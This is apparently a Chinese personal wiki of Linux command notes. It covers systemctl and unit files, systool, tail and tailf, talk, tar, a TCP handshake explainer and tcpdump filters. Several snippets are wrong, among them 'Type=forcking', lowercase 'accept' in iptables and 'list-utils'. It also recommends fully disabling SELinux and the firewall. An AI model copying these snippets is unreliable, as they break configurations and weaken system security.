| 显示所有已启动的服务 | chkconfig --list | systemctl list-units --type=service |
| 启动某服务 | service httpd start | systemctl start httpd.service |
| 停止某服务 | service httpd stop | systemctl stop httpd.service |
| 重启某服务 | service httpd restart | systemctl restart httpd.service |

</div>

!! 实例

:<div>


```bash
systemctl start nfs-server.service . # 启动nfs服务
systemctl enable nfs-server.service # 设置开机自启动
systemctl disable nfs-server.service # 停止开机自启动
systemctl status nfs-server.service # 查看服务当前状态
systemctl restart nfs-server.service # 重新启动某服务
systemctl list-units --type=service # 查看所有已启动的服务
```

开启防火墙22端口

```
iptables -I INPUT -p tcp --dport 22 -j accept
```

如果仍然有问题,就可能是SELinux导致的

关闭SElinux:

修改`/etc/selinux/config`文件中的`SELINUX=""`为disabled,然后重启。

彻底关闭防火墙:

```bash
sudo systemctl status firewalld.service
sudo systemctl stop firewalld.service          
sudo systemctl disable firewalld.service
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 描述 
:<div>

```
init:
	CentOS 5: SysV init
	CentOS 6:Upstart
	CentOS 7:Systemd
	
Systemd的新特性:
	系统引导时实现服务并行启动;
	按需激活进程;
	系统状态快照;
	基于依赖关系定义服务控制逻辑;


```
[[systemd 官网文档|https://www.freedesktop.org/wiki/Software/systemd/]]
</div>


!基本概念 
:<div>

```bash
# systemctl
#-------------------
-t  #查看支持的unit类型
    # service   系统服务
    # target    模拟运行level
    # device    设备
    # mount     挂载点
    # socket    socket
    # snapshot  快照
    # swap      swap
    # automount 自动挂载点
    # path      定义文件目录
```
</div>

!相关目录
 
:<div>

```bash
#配置文件
/usr/lib/systemd/system/*.service   # /etc/init.d/ 服务启动脚本
/run/systemd/system                 # 系统自动生成的脚本
/etc/systemd/system                 # /etc/rc.d/rcN.d/sxxx 管理员脚本
```
</div>

!service 
:<div>



* service 状态

:<div>

```bash
systemctl list-unit-files --type service --all
# loaded
# active (running)
# active (exited)
# active (waiting)
# inactive
# enabled
# disabled
# static ,开机不启动 , 调用时可激活
```
</div>
* service unit 文件格式

:<div>

```bash
systemctl daemon-reload # 服务文件修改后重载才生效.
[Unit]          # 通用块
description=''  # 描述信息
after=''        # 依赖关系
before=''       # 依赖
requires=''     # 强依赖
wants=''        # 弱依赖
conflicts=''    # 冲突
[Service]       # unit类型
type=''         # 类型
                # notify
                # forking
                # oneshot   #
                # dbus
                # idle      #闲时执行
                # simple    #常驻内存
env=''          # 执行程序环境变量
execstart=''    # systemctl start ...
execreload=''   # ..........reload
execstartpre='' # start执行前
execstartpost=''# start 后
execstop=''     # stop 脚本
killmode=''     #
restart=''      # 异常自动重启
restartsec=''   # 延时
[install]       #
alias=''        # 别名
requiredby=''   # 强依赖
wantedby=''     # 弱依赖
also=''         # 捆绑安装
#------------------------------------
```
</div>


* 常用操作 
:<div>

```bash
#------------------
# systemctl service unit
#------------------
systemctl command name.service name2.service ...
# command = {start, stop, status, restart }
# 条件重启
# service name condrestart
systemctl try-restart name.service
# restart or reload
systemctl reload-or-restart name.service
systemctl reload-or-try-restart name.service
# 禁用自动启动
systemctl mask name.service
# systemctl mask atd.service
# create /etc/systemd/system/servicename link 2 /dev/null
# enable
systemctl unmask name.service
# list status
systemctl is-active atd
# list unit
systemctl list-units --type | -t service
#systemctl list-units -t service
#systemctl list-units -t service --all | -a
# 开机启动
systemctl enable name.service
# chconfig name on
systemctl disable name.service
# chconfig name off
systemctl is-enabled name.service
# 查看开机自启动项
# chkconfig --list
systemctl list-unit-files --type service
# 列出失败的服务
systemctl --failed --type=service
# 查看特定服务启动级别
# chkconfig atd --list
ls /etc/systemd/system/*.wants/sshd.service
# 查看依赖服务
systemctl list-dependencies name.service
# 杀死服务相关进程
systemctl kill unitname
# 运行模式
/etc/systemd/system/multi-user.target.wants
# 下级runlevel 包含上级runlevel所有服务
# 列出服务启用禁用状态
systemctl list-unit-files --type service --all
```
</div>


</div>


!target 
:<div>

```bash
# runlevel
/usr/lib/systemd/system/runlevelN.target
# 查看依赖
systemctl list-dependencies graphical.target
# 切换runlevel
init N
systemctl isolate multi-user.target
# 切换到救援模式
systemctl rescue
# 切换到紧急模式
systemctl emergency
# 查看默认runlevel
systemctl get-default
# 设置默认runlevel
systemctl set-default multi-user.target
ls -l /etc/systemd/system/default.target
# 查看target
runlevel
who -r
systemctl list-utils --type target
#------------------------------------------
# other
systemctl halt
systemctl poweroff
systemctl reboot
systemctl suspend
systemctl hibernate
systemctl hybrid-sleep
systemctl default # 切换当前模式为默认模式 , 立即生效
#----------------------------------------
```
</div>

! 演示

:<pre style=" color:white; background-color:black; font-size:smaller;  padding:6pt 8pt">
Welcome to <span style="color:blue">Fedora 20 (Heisenbug)</span>!

[  <span style="color:green">OK</span>  ] Reached target Remote File Systems.
[  <span style="color:green">OK</span>  ] Listening on Delayed Shutdown Socket.
[  <span style="color:green">OK</span>  ] Listening on /dev/initctl Compatibility Named Pipe.
[  <span style="color:green">OK</span>  ] Reached target Paths.
[  <span style="color:green">OK</span>  ] Reached target Encrypted Volumes.
[  <span style="color:green">OK</span>  ] Listening on Journal Socket.
         Mounting Huge Pages File System...
         Mounting POSIX Message Queue File System...
         Mounting Debug File System...
         Starting Journal Service...
[  <span style="color:green">OK</span>  ] Started Journal Service.
         Mounting Configuration File System...
         Mounting FUSE Control File System...
[  <span style="color:green">OK</span>  ] Created slice Root Slice.
[  <span style="color:green">OK</span>  ] Created slice User and Session Slice.
[  <span style="color:green">OK</span>  ] Created slice System Slice.
[  <span style="color:green">OK</span>  ] Reached target Slices.
[  <span style="color:green">OK</span>  ] Reached target Swap.
         Mounting Temporary Directory...
[  <span style="color:green">OK</span>  ] Reached target Local File Systems (Pre).
         Starting Load Random Seed...
         Starting Load/Save Random Seed...
[  <span style="color:green">OK</span>  ] Mounted Huge Pages File System.
[  <span style="color:green">OK</span>  ] Mounted POSIX Message Queue File System.
[  <span style="color:green">OK</span>  ] Mounted Debug File System.
[  <span style="color:green">OK</span>  ] Mounted Configuration File System.
[  <span style="color:green">OK</span>  ] Mounted FUSE Control File System.
[  <span style="color:green">OK</span>  ] Mounted Temporary Directory.
[  <span style="color:green">OK</span>  ] Started Load Random Seed.
[  <span style="color:green">OK</span>  ] Started Load/Save Random Seed.
[  <span style="color:green">OK</span>  ] Reached target Local File Systems.
         Starting Recreate Volatile Files and Directories...
         Starting Trigger Flushing of Journal to Persistent Storage...
[  <span style="color:green">OK</span>  ] Started Recreate Volatile Files and Directories.
         Starting Update UTMP about System Reboot/Shutdown...
[  <span style="color:green">OK</span>  ] Started Trigger Flushing of Journal to Persistent Storage.
[  <span style="color:green">OK</span>  ] Started Update UTMP about System Reboot/Shutdown.
[  <span style="color:green">OK</span>  ] Reached target System Initialization.
[  <span style="color:green">OK</span>  ] Reached target Timers.
[  <span style="color:green">OK</span>  ] Listening on D-Bus System Message Bus Socket.
[  <span style="color:green">OK</span>  ] Reached target Sockets.
[  <span style="color:green">OK</span>  ] Reached target Basic System.
         Starting Permit User Sessions...
         Starting D-Bus System Message Bus...
[  <span style="color:green">OK</span>  ] Started D-Bus System Message Bus.
         Starting Login Service...
         Starting Cleanup of Temporary Directories...
[  <span style="color:green">OK</span>  ] Started Permit User Sessions.
[  <span style="color:green">OK</span>  ] Started Cleanup of Temporary Directories.
         Starting Console Getty...
[  <span style="color:green">OK</span>  ] Started Console Getty.
[  <span style="color:green">OK</span>  ] Reached target Login Prompts.
[  <span style="color:green">OK</span>  ] Started Login Service.
[  <span style="color:green">OK</span>  ] Reached target Multi-User System.

Fedora release 20 (Heisenbug)
Kernel 3.9.2-200.fc18.x86_64 on an x86_64 (console)

fedora login:
</pre>
!! 模板
:<div>

```bash
    [Unit]
    Description=MariaDB 10.2.12 database server
    After=network.target
    After=syslog.target
    
    [Install]
    WantedBy=multi-user.target
    Alias=mysql.service
    Alias=mysqld.service
    
    [Service]
    TimeoutStartSec=0
    Type=forcking
    User=mysql
    Group=mysql
    ExecStart=${base_dir}/bin/mysqld
    KillSignal=SIGTERM
    SendSIGKILL=no
    Restart=on-abort
```
</div>
!!简介
:<div>
systool
===

显示基于总线、类和拓扑显示系统中设备的信息

</div>

!! 补充说明

:<div>


"systool命令" 指令显示基于总线、类和拓扑显示系统中设备的信息。

</div>

!! 语法  

:<div>


```
systool(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:显示被请求资源的属性;
-b<总线>:显示指定总线的信息;
-c<class>:显示指定类的信息;
-d:仅显示设备;
-h:显示指令的用法;
-m<模块名称>:显示指定模块的信息;
-p:显示资源的“sysfs”绝对路径;
-v:显示所有属性;
-A<属性>:显示请求资源的属性值;
-D:仅显示驱动程序信息;
-P:显示设备的父类。
```

</div>

!! 参数  

:<div>


设备:指定要查看信息的设备名称。

</div>

!! 实例  

:<div>


```
[root@localhost ~]# systool
Supported sysfs buses:
        acpi
        i2c
        ide
        pci_express
        pci
        pcmcia
        platform
        pnp
        scsi
        serio
        usb
Supported sysfs classes:
        backlight
        cpuid
        dma_v3
        firmware
        graphics
        hidraw
        hwmon
        i2c-adapter
        input
        leds
        mem
        misc
        msr
        net
        pci_bus
        pcmcia_socket
        printer
        raw
        sas_device
        sas_end_device
        sas_expander
        sas_host
        sas_phy
        sas_port
        scsi_device
        scsi_disk
        scsi_generic
        scsi_host
        sound
        tty
        usb_device
        usb_endpoint
        usb_host
        vc
        vtconsole
Supported sysfs devices:
        acpi
        pci0000:00
        platform
        pnp0
        sequencer2
        sequencer
        seq
        system
        timer
Supported sysfs modules:
        8250
        acpi_memhotplug
        ac
        asus_acpi
        ata_piix
        auth_rpcgss
        backlight
        battery
        button
        cifs
        cpufreq
        crypto_api
        dell_wmi
        dm_log
        dm_mem_cache
        dm_message
        dm_mirror
        dm_mod
        dm_multipath
        dm_raid45
        dm_region_hash
        dock
        e1000e
        edac_mc
        ehci_hcd
        exportfs
        ext3
        hwmon
        i2c_core
        i2c_ec
        i2c_i801
        i7core_edac
        i8042
        ip_conntrack_netbios_ns
        ip_conntrack
        ip_tables
        iptable_filter
        ipv6
        it821x
        jbd
        joydev
        keyboard
        libata
        lockd
        lp
        md_mod
        mousedev
        mpt2sas
        nfnetlink
        nfs_acl
        nfsd
        nls_utf8
        ohci_hcd
        parport_pc
        parport
        pci_hotplug
        pcmcia
        pcmcia_core
        pcspkr
        piix
        power_meter
        printk
        processor
        psmouse
        rsrc_nonstatic
        sbs
        scsi_dh
        scsi_mod
        scsi_transport_sas
        sd_mod
        serio_raw
        sg
        shpchp
        snd_hda_intel
        snd_hwdep
        snd_mixer_oss
        snd_page_alloc
        snd_pcm_oss
        snd_pcm
        snd_seq_device
        snd_seq_dummy
        snd_seq_midi_event
        snd_seq_oss
        snd_seq
        snd_timer
        snd
        soundcore
        sunrpc
        tcp_bic
        tpm_bios
        tpm_tis
        tpm
        uhci_hcd
        usbcore
        usbhid
        video
        wmi
        x_tables
        xfrm_nalgo
        xt_limit
        xt_state
        xt_tcpudp
        yenta_socket
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

* 补全路径
* 补全选项
* 补全命令
* 依赖软件<pre>

```bash
# rpm -ivh bash-completion*
```
</pre>

* 奇技淫巧<pre>

```bash
#/tab+tab == list all root dir

#./tab == list all dir with

#*tab+tab == list all dir

#~2tab == ls /home

#$tab == view all var

#@tab == echo /etc/hosts

#=tab == ls -A

```
</pre>
```bash
[root@vms01 ~]# head --help| tac
For complete documentation, run: info coreutils 'head invocation'
GNU coreutils online help: <http://www.gnu.org/software/coreutils/>

GB 1000*1000*1000, G 1024*1024*1024, and so on for T, P, E, Z, Y.
b 512, kB 1000, K 1024, MB 1000*1000, M 1024*1024,
K may have a multiplier suffix:

      --version  output version information and exit
      --help     display this help and exit
  -v, --verbose            always print headers giving file names
  -q, --quiet, --silent    never print headers giving file names
                             K lines of each file
                             with the leading '-', print all but the last
  -n, --lines=[-]K         print the first K lines instead of the first 10;
                             K bytes of each file
                             with the leading '-', print all but the last
  -c, --bytes=[-]K         print the first K bytes of each file;
Mandatory arguments to long options are mandatory for short options too.

With no FILE, or when FILE is -, read standard input.
With more than one FILE, precede each with a header giving the file name.
Print the first 10 lines of each FILE to standard output.
Usage: head [OPTION]... [FILE]...


```
!选项
    *` --retry`:即是在tail命令启动时,文件不可访问或者文件稍后变得不可访问,都始终尝试打开文件。使用此选项时需要与选项“——follow=name”连用;
    *` -c N`或——bytes=N:输出文件尾部的N(N为整数)个字节内容
   * `-f name`/descriptor或;--follow nameldescript:显示文件最新追加的内容。“name”表示以文件名的方式监视文件的变化。“-f”与“-fdescriptor”等效;
    * `-F`:与选项“-follow=name”和“--retry"连用时功能相同;
    * `-n(N)`或——line=N:输出文件的尾部N(N位数字)行内容。
    * `--pid=进程号`:与“-f”选项连用,当指定的进程号的进程终止后,自动退出tail命令;
    * `-q`或——quiet或——silent:当有多个文件参数时,不输出各个文件名;
    * `-s 秒数`或——sleep-interal=秒数:与“-f”选项连用,指定监视文件变化时间隔的秒数;
    * `-v`或 --verbose:当有多个文件参数时,总是输出各个文件名;
    * `--help`:显示指令的帮助信息;
    * `--version`:显示指令的版本信息。
!!简介
:<div>
tailf
===

在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出。

</div>

!! 补充说明

:<div>


tailf命令几乎等同于`tail -f`,严格说来应该与`tail --follow=name`更相似些。当文件改名之后它也能继续跟踪,特别适合于日志文件的跟踪(follow the growth of a log file)。与`tail -f`不同的是,如果文件不增长,它不会去访问磁盘文件。tailf特别适合那些便携机上跟踪日志文件,因为它能省电,因为减少了磁盘访问。tailf命令不是个脚本,而是一个用C代码编译后的二进制执行文件,某些Linux安装之后没有这个命令。

tailf和tail -f的区别

1. tailf 总是从文件开头一点一点的读, 而tail -f 则是从文件尾部开始读
2. tailf check文件增长时,使用的是文件名, 用stat系统调用;而tail -f 则使用的是已打开的文件描述符; 注:tail 也可以做到类似跟踪文件名的效果; 但是tail总是使用fstat系统调用,而不是stat系统调用;结果就是:默认情况下,当tail的文件被偷偷删除时,tail是不知道的,而tailf是知道的。

</div>

!! 语法  

:<div>


```bash
tailf logfile # 动态跟踪日志文件logfile,最初的时候打印文件的最后10行内容。
```

</div>

!! 选项  

:<div>


```bash
-n, --lines NUMBER  # 输出最后数行
-NUMBER             # 与NUMBER相同 `-n NUMBER'
-V, --version       # 输出版本信息并退出
-h, --help          # 显示帮助并退出
```

</div>

!! 参数  

:<div>


目标:指定目标日志。

</div>

!! 实例

:<div>

```
tailf log/WEB.LOG 
tailf -n 5 log2014.log   # 显示文件最后5行内容
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
talk
===

让用户和其他用户聊天

</div>

!! 补充说明

:<div>


"talk命令" 是talk服务器的客户端工具,通过talk命令可以让用户和其他用户聊天。linux中talk命令参数程序的使用很简单,只要知道交谈对象的地址,就可以邀请对方交谈。

</div>

!! 语法  

:<div>


```
talk(参数)
```

</div>

!! 参数  

:<div>


*   用户:指定聊天的用户;
*   终端:指定用户的终端。

</div>

!! 实例  

:<div>


例如登录在主机rs6000.cic.test.com上的用户jdx希望和登录在主机tirc.cs.test.com上的用户wangxz进行交谈,则可以输入下面的命令:

```
talk wangxz@tirc.cs.test.com
```

Internet上的相关程序(Talk Daemon)就会传送一条信息邀请wangxz来交谈,这时用户wangxz的屏幕上就会出现如下信息,并响铃提示:

```
Message from Talk_Daemon@tirc.cs.test.com at 21:44 …
talk: connection requested by jdx@rs6000.cic.test.com
talk: respond with:  talk jdx@rs6000.cic.test.com
```

这时,用户wangxz应该做的工作就是按照上面的信息提示,即输入linux中talk命令:

```
talk jdx@rs6000.cic.test.com
```

之后,连接建立成功,两个用户就可以进行交谈了。这时,双方的终端屏幕上都将显示信息 "[Connection established]" 并响铃,同时屏幕被linux中talk命令程序以一条水平线分割为上下两部分,上半部分用来显示用户自己输入的内容,下半部分用来显示对方输入的内容。两个用户可以同时输入,他们输入的内容将会立即显示在双方的屏幕上。

在用户进行输入时,可按 "BACKSPACE" 见来更正前一个字符,也可按 "CTRL+w" 来删除一个完整的单词,或者用 "CTRL+U" 来删除一整行,另外,用户还可以通过按 "CTRL+L" 来刷新屏幕。如果要结束交谈,可由任何一方按下 "CTRL+C" 来中断连接,但在结束对话前最好道声“再见”,并等待对方回应。linux中talk命令程序结束时,在屏幕上将回显示一条信息:

```
[Connection closing. Exiting]
```

并非每次要求对方交谈都能成功,有时对方没有登录,则linux中talk命令程序提示信息:

```
[Your party is not logged on]
```

并退出;如果对方已登录,但因某种原因(如不是正在使用机器)没有响应,那么linux中talk命令程序将会每隔10秒钟给他发一条邀请信息,同时在自己的屏幕上显示:

```
[Ringing your party again]
```

如果用户不愿等待,则可以按 "CTRL+C" 终止linux中talk命令程序。还有的时候系统可能出现下面的信息:

```
[Checking for invitation on caller’s machine]
```

这说明双方的linux中talk命令程序不兼容,这时可以试试ntalk和ytalk命令,如果没有,就只好找系统管理员了。

如果用户在做某些紧急工作(如编辑邮件)时不希望被linux中talk命令的邀请打搅,他可以使用命令:

```
mesg n
```

来暂时拒绝交谈,这时如果有用户邀请他交谈,只能得到提示信息:

```
[Your party is refusing messages]
```

不过要注意的是,一旦完成紧急工作。最好立即打开信息接收开关(用命令`mesg y`),否则将会失去很多信息交流的机会。

以上是linux中talk命令参数的是使用方法。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''tar''命令可以为linux的文件和目录创建档案。利用tar,可以为某一特定文件创建档案(备份文件),也可以在档案中改变文件,或者向档案中加入新的文件。tar最初被用来在磁带上创建档案,现在,用户可以在任何设备上创建档案。利用tar命令,可以把一大堆的文件和目录全部打包成一个文件,这对于备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。

首先要弄清两个概念:打包和压缩。打包是指将一大堆文件或目录变成一个总的文件;压缩则是将一个大的文件通过一些压缩算法变成一个小文件。

为什么要区分这两个概念呢?这源于Linux中很多压缩程序只能针对一个文件进行压缩,这样当你想要压缩一大堆文件时,你得先将这一大堆文件先打成一个包(tar命令),然后再用压缩程序进行压缩(gzip bzip2命令)。


!选项
    * -A或--catenate:新增文件到以存在的备份文件;
    * -B:设置区块大小;
    * -c或--create:建立新的备份文件;
    * -C <目录>:这个选项用在解压缩,若要在特定目录解压缩,可以使用这个选项。
    * -d:记录文件的差别;
    * -x或--extract或--get:从备份文件中还原文件;
    * -t或--list:列出备份文件的内容;
    * -z或--gzip或--ungzip:通过gzip指令处理备份文件;
    * -Z或--compress或--uncompress:通过compress指令处理备份文件;
    * -f<备份文件>或--file=<备份文件>:指定备份文件;
    * -v或--verbose:显示指令执行过程;
    * -r:添加文件到已经压缩的文件;
    * -u:添加改变了和现有的文件到已经存在的压缩文件;
    * -j:支持bzip2解压文件;
    * -v:显示操作过程;
    * -l:文件系统边界设置;
    * -k:保留原有文件不覆盖;
    * -m:保留文件不被覆盖;
    * -w:确认压缩文件的正确性;
    * -p或--same-permissions:用原来的文件权限还原文件;
    * -P或--absolute-names:文件名使用绝对名称,不移除文件名称前的“/”号;
    * -N <日期格式> 或 --newer=<日期时间>:只将较指定日期更新的文件保存到备份文件里;
    * --exclude=<范本样式>:排除符合范本样式的文件。

!实例
''将文件全部打包成tar包:''


```
tar -cvf log.tar log2012.log    仅打包,不压缩! 
tar -zcvf log.tar.gz log2012.log   打包后,以 gzip 压缩 
tar -jcvf log.tar.bz2 log2012.log  打包后,以 bzip2 压缩 
```

在选项f之后的文件档名是自己取的,我们习惯上都用 .tar 来作为辨识。 如果加z选项,则以.tar.gz或.tgz来代表gzip压缩过的tar包;如果加j选项,则以.tar.bz2来作为tar包名。

''查阅上述tar包内有哪些文件:''

`tar -ztvf log.tar.gz`

由于我们使用 gzip 压缩的log.tar.gz,所以要查阅log.tar.gz包内的文件时,就得要加上z这个选项了。

''将tar包解压缩:''

`tar -zxvf /opt/soft/test/log.tar.gz`

在预设的情况下,我们可以将压缩档在任何地方解开的

''只将tar内的部分文件解压出来:''

`tar -zxvf /opt/soft/test/log30.tar.gz log2013.log`

我可以透过tar -ztvf来查阅 tar 包内的文件名称,如果单只要一个文件,就可以透过这个方式来解压部分文件!

''文件备份下来,并且保存其权限:''

`tar -zcvpf log31.tar.gz log2014.log log2015.log log2016.log`

这个-p的属性是很重要的,尤其是当您要保留原本文件的属性时。

''在文件夹当中,比某个日期新的文件才备份:''

`tar -N "2012/11/13" -zcvf log17.tar.gz test`

''备份文件夹内容是排除部分文件:''

`tar --exclude scf/service -zcvf scf.tar.gz scf/*`

''其实最简单的使用 tar 就只要记忆底下的方式即可:''


```
压 缩:tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称
查 询:tar -jtv -f filename.tar.bz2
解压缩:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
```
!1、引言

网络编程中TCP协议的三次握手和四次挥手的问题,在面试中是最为常见的知识点之一。很多读者都知道“三次”和“四次”,但是如果问深入一点,他们往往都无法作出准确回答。

本篇文章尝试使用动画图片的方式,来对这个知识点进行“脑残式”讲解(哈哈),期望读者们可以更加简单、直观地理解TCP网络通信交互的本质。

另外,社区里的另两篇文章《理论经典:TCP协议的3次握手与4次挥手过程详解》、《理论联系实际:Wireshark抓包分析TCP 3次握手、4次挥手过程》也是不错的入门文章,有兴趣可一并详读之。

友情提示:因本文gif动画较多,如果您的网速较慢,请耐心等候图片加载完成哦。

!2、关于作者

 脑残式网络编程入门(一):跟着动画来学TCP三次握手和四次挥手_aa.png 
钱文品(老钱):毕业于华中科技大学计算机科学与技术专业,互联网分布式高并发技术十年老兵,目前任掌阅科技资深后端工程师。熟练使用 Java、Python、Golang 等多种计算机语言,开发过游戏,制作过网站,写过消息推送系统和MySQL 中间件,实现过开源的 ORM 框架、Web 框架、RPC 框架等。

作者的Github: https://github.com/pyloque

!3、系列文章

!本文是系列文章中的第1篇,本系列大纲如下:

:《脑残式网络编程入门(一):跟着动画来学TCP三次握手和四次挥手》(本文)
:《脑残式网络编程入门(二):我们在读写Socket时,究竟在读写什么?》
:《脑残式网络编程入门(三):HTTP协议必知必会的一些知识》
:《脑残式网络编程入门(四):快速理解HTTP/2的服务器推送(Server Push)》
:《脑残式网络编程入门(五):每天都在用的Ping命令,它到底是什么?》

!4、TCP 三次握手:“Say hello !”

TCP 三次握手就好比两个人在街上隔着50米看见了对方,但是因为雾霾等原因不能100%确认,所以要通过招手的方式相互确定对方是否认识自己。

[img[http://linux.oh-doc.cn/img/102454xwfj5djch2msxa7x.gif]]


张三首先向李四招手(syn),李四看到张三向自己招手后,向对方点了点头挤出了一个微笑(ack)。张三看到李四微笑后确认了李四成功辨认出了自己(进入estalished状态)。

但是李四还有点狐疑,向四周看了一看,有没有可能张三是在看别人呢,他也需要确认一下。所以李四也向张三招了招手(syn),张三看到李四向自己招手后知道对方是在寻求自己的确认,于是也点了点头挤出了微笑(ack),李四看到对方的微笑后确认了张三就是在向自己打招呼(进入established状态)。

于是两人加快步伐,走到了一起,相互拥抱。


 [img[http://linux.oh-doc.cn/img/102503nsgxknd0k00doa85.gif]]

我们看到这个过程中一共是四个动作,张三招手--李四点头微笑--李四招手--张三点头微笑。其中李四连续进行了2个动作,先是点头微笑(回复对方),然后再次招手(寻求确认),实际上可以将这两个动作合一,招手的同时点头和微笑(syn+ack)。于是四个动作就简化成了三个动作,张三招手--李四点头微笑并招手--张三点头微笑。这就是三次握手的本质,中间的一次动作是两个动作的合并。

我们看到有两个中间状态,syn_sent和syn_rcvd,这两个状态叫着「半打开」状态,就是向对方招手了,但是还没来得及看到对方的点头微笑。syn_sent是主动打开方的「半打开」状态,syn_rcvd是被动打开方的「半打开」状态。客户端是主动打开方,服务器是被动打开方。
syn_sent: syn package has been sent
syn_rcvd: syn package has been received


!5、握手完成:开始TCP 数据传输

TCP 数据传输就是两个人隔空对话,差了一点距离,所以需要对方反复确认听见了自己的话。

 [img[http://linux.oh-doc.cn/img/102510znki8k85ilu2q8ks.gif]]

张三喊了一句话(data),李四听见了之后要向张三回复自己听见了(ack)。

如果张三喊了一句,半天没听到李四回复,张三就认为自己的话被大风吹走了,李四没听见,所以需要重新喊话,这就是tcp重传。

也有可能是李四听到了张三的话,但是李四向张三的回复被大风吹走了,以至于张三没听见李四的回复。张三并不能判断究竟是自己的话被大风吹走了还是李四的回复被大风吹走了,张三也不用管,重传一下就是。

既然会重传,李四就有可能同一句话听见了两次,这就是「去重」。「重传」和「去重」工作操作系统的网络内核模块都已经帮我们处理好了,用户层是不用关心的。

 [img[http://linux.oh-doc.cn/img/102520m3d0zd4kdibxf56k.gif]]

张三可以向李四喊话,同样李四也可以向张三喊话,因为tcp链接是「双工的」,双方都可以主动发起数据传输。不过无论是哪方喊话,都需要收到对方的确认才能认为对方收到了自己的喊话。

张三可能是个高射炮,一说连说了八句话,这时候李四可以不用一句一句回复,而是连续听了这八句话之后,一起向对方回复说前面你说的八句话我都听见了,这就是批量ack。但是张三也不能一次性说了太多话,李四的脑子短时间可能无法消化太多,两人之间需要有协商好的合适的发送和接受速率,这个就是「TCP窗口大小」。

网络环境的数据交互同人类之间的对话还要复杂一些,它存在数据包乱序的现象。同一个来源发出来的不同数据包在「网际路由」上可能会走过不同的路径,最终达到同一个地方时,顺序就不一样了。操作系统的网络内核模块会负责对数据包进行排序,到用户层时顺序就已经完全一致了。
!6、TCP 四次挥手:“Say goodbye!”

TCP断开链接的过程和建立链接的过程比较类似,只不过中间的两部并不总是会合成一步走,所以它分成了4个动作,张三挥手(fin)——李四伤感地微笑(ack)——李四挥手(fin)——张三伤感地微笑(ack)。

 [img[http://linux.oh-doc.cn/img/102527xjbw4zjvk22b7kvn.gif]]

之所以中间的两个动作没有合并,是因为tcp存在「半关闭」状态,也就是单向关闭。张三已经挥了手,可是人还没有走,只是不再说话,但是耳朵还是可以继续听,李四呢继续喊话。等待李四累了,也不再说话了,超张三挥了挥手,张三伤感地微笑了一下,才彻底结束了。

 [img[http://linux.oh-doc.cn/img/121908tz1q6t404icd0cn0.gif]]

上面有一个非常特殊的状态time_wait,它是主动关闭的一方在回复完对方的挥手后进入的一个长期状态,这个状态标准的持续时间是4分钟,4分钟后才会进入到closed状态,释放套接字资源。不过在具体实现上这个时间是可以调整的。

它就好比主动分手方要承担的责任,是你提出的要分手,你得付出代价。这个后果就是持续4分钟的time_wait状态,不能释放套接字资源(端口),就好比守寡期,这段时间内套接字资源(端口)不得回收利用。

它的作用是重传最后一个ack报文,确保对方可以收到。因为如果对方没有收到ack的话,会重传fin报文,处于time_wait状态的套接字会立即向对方重发ack报文。

同时在这段时间内,该链接在对话期间于网际路由上产生的残留报文(因为路径过于崎岖,数据报文走的时间太长,重传的报文都收到了,原始报文还在路上)传过来时,都会被立即丢弃掉。4分钟的时间足以使得这些残留报文彻底消逝。不然当新的端口被重复利用时,这些残留报文可能会干扰新的链接。

4分钟就是2个MSL,每个MSL是2分钟。MSL就是maximium segment lifetime——最长报文寿命。这个时间是由官方RFC协议规定的。至于为什么是2个MSL而不是1个MSL,我还没有看到一个非常满意的解释。

四次挥手也并不总是四次挥手,中间的两个动作有时候是可以合并一起进行的,这个时候就成了三次挥手,主动关闭方就会从fin_wait_1状态直接进入到time_wait状态,跳过了fin_wait_2状态。
!7、本文小结

TCP状态转换是一个非常复杂的过程,本文仅对一些简单的基础知识点进行了类比讲解。关于TCP的更多知识还需要读者去搜寻相关技术文章进入深入学习。如果读者对TCP的基础知识掌握得比较牢固,高级的知识理解起来就不会太过于吃力。

''tcpdump''命令是一款sniffer工具,它可以打印所有经过网络接口的数据包的头信息,也可以使用`-w`选项将数据包保存到文件中,方便以后分析。

!选项
:<pre>
-a:尝试将网络和广播地址转换成名称;
-c<数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作;
-d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;
-dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;
-ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;
-e:在每列倾倒资料上显示连接层级的文件头;
-f:用数字显示网际网络地址;
-F<表达文件>:指定内含表达方式的文件;
-i<网络界面>:使用指定的网络截面送出数据包;
-l:使用标准输出列的缓冲区;
-n:不把主机的网络地址转换成名字;
-N:不列出域名;
-O:不将数据包编码最佳化;
-p:不让网络界面进入混杂模式;
-q :快速输出,仅列出少数的传输协议信息;
-r<数据包文件>:从指定的文件读取数据包数据;
-s<数据包大小>:设置每个数据包的大小;
-S:用绝对而非相对数值列出TCP关联数;
-t:在每列倾倒资料上不显示时间戳记;
-tt: 在每列倾倒资料上显示未经格式化的时间戳记;
-T<数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型;
-v:详细显示指令执行过程;
-vv:更详细显示指令执行过程;
-x:用十六进制字码列出数据包资料;
-w<数据包文件>:把数据包数据写入指定的文件。
</pre>


!实例
:<pre>


直接启动tcpdump将监视第一个网络接口上所有流过的数据包

:`tcpdump`
监视指定网络接口的数据包
:`tcpdump -i eth1`

如果不指定网卡,默认tcpdump只会监视第一个网络接口,一般是eth0,下面的例子都没有指定网络接口。

监视指定主机的数据包

打印所有进入或离开sundown的数据包。

:`tcpdump host sundown`

也可以指定ip,例如截获所有210.27.48.1 的主机收到的和发出的所有的数据包

:`tcpdump host 210.27.48.1`
打印helios 与 hot 或者与 ace 之间通信的数据包

:`tcpdump host helios and \( hot or ace \)`
截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信

:`tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \)`
打印ace与任何其他主机之间通信的IP 数据包, 但不包括与helios之间的数据包.

:`tcpdump ip host ace and not helios`
